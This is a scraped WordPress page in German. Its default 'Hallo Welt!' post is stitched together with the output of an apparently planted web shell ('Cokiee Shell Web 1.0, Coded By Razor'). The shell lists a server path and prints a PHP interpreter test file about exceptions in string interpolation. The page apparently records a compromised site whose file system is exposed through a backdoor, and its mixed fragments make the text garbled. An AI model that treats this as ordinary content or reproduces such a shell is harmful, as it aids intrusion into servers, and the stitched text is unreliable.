Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /usr/local/src/php7/php-7.0.5/Zend/tests/ |
Current File : //usr/local/src/php7/php-7.0.5/Zend/tests/rope_with_exception.phpt |
--TEST-- Exceptions thrown into a rope must not leak --FILE-- <?php class Obj { function __get($x) { throw new Exception(); } } try { $x = new Obj; $y = 0; $r = "$y|$x->x|"; echo "should never be reached"; } catch (Exception $e) { echo "$e\n"; } try { $x = new Obj; $y = 0; $r = "$y$x->x|"; echo "should never be reached"; } catch (Exception $e) { echo "$e\n"; } try { $x = new Obj; $y = 0; $r = "$y|$y$x->x"; echo "should never be reached"; } catch (Exception $e) { echo "$e\n"; } ?> --EXPECTF-- Exception in %s:%d Stack trace: #0 %s(%d): Obj->__get('x') #1 {main} Exception in %s:%d Stack trace: #0 %s(%d): Obj->__get('x') #1 {main} Exception in %s:%d Stack trace: #0 %s(%d): Obj->__get('x') #1 {main}
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare